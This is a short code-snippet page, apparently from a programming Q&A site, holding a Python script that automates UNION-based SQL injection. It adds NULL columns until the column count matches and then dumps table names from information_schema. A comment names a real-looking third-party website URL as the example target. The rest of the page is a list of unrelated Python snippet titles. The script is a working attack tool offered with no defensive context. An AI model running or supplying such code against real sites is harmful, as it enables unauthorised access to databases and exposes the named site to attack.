python union query
# pip install requests
import requests
def main():
# http://www.meggieschneider.com/php/detail.php?id=48
url = input('Target: ')
idx = 0
while True:
nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
if idx > 0:
nulls = ', ' + nulls
req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
print(f'''\n
{req}
''')
r = requests.get(f'{url}?{req}')
if 'The used SELECT statements have a different number of columns' not in str(r.content):
print(f'''\n
{r.text}
''')
break
idx = idx + 1
if __name__ == '__main__':
main()
Are there any code examples left?
New code examples in category Python
-
Python 2023-04-11 03:04:20
-
Python 2022-03-27 22:40:04 pycharm no module named
-
Python 2022-03-27 22:25:05 assign multiple variablesin one line
-
Python 2022-03-27 22:20:02 levenshtein distance
-
Python 2022-03-27 21:35:09 get text from url python last slash
-
Python 2022-03-27 21:30:30 df concatenate df
-
Python 2022-03-27 21:25:09 python odd or even
-
Python 2022-03-27 21:15:32 python include function from another file
-
Python 2022-03-27 21:10:01 color module python
-
Python 2022-03-27 21:00:27 python tkinter cursor types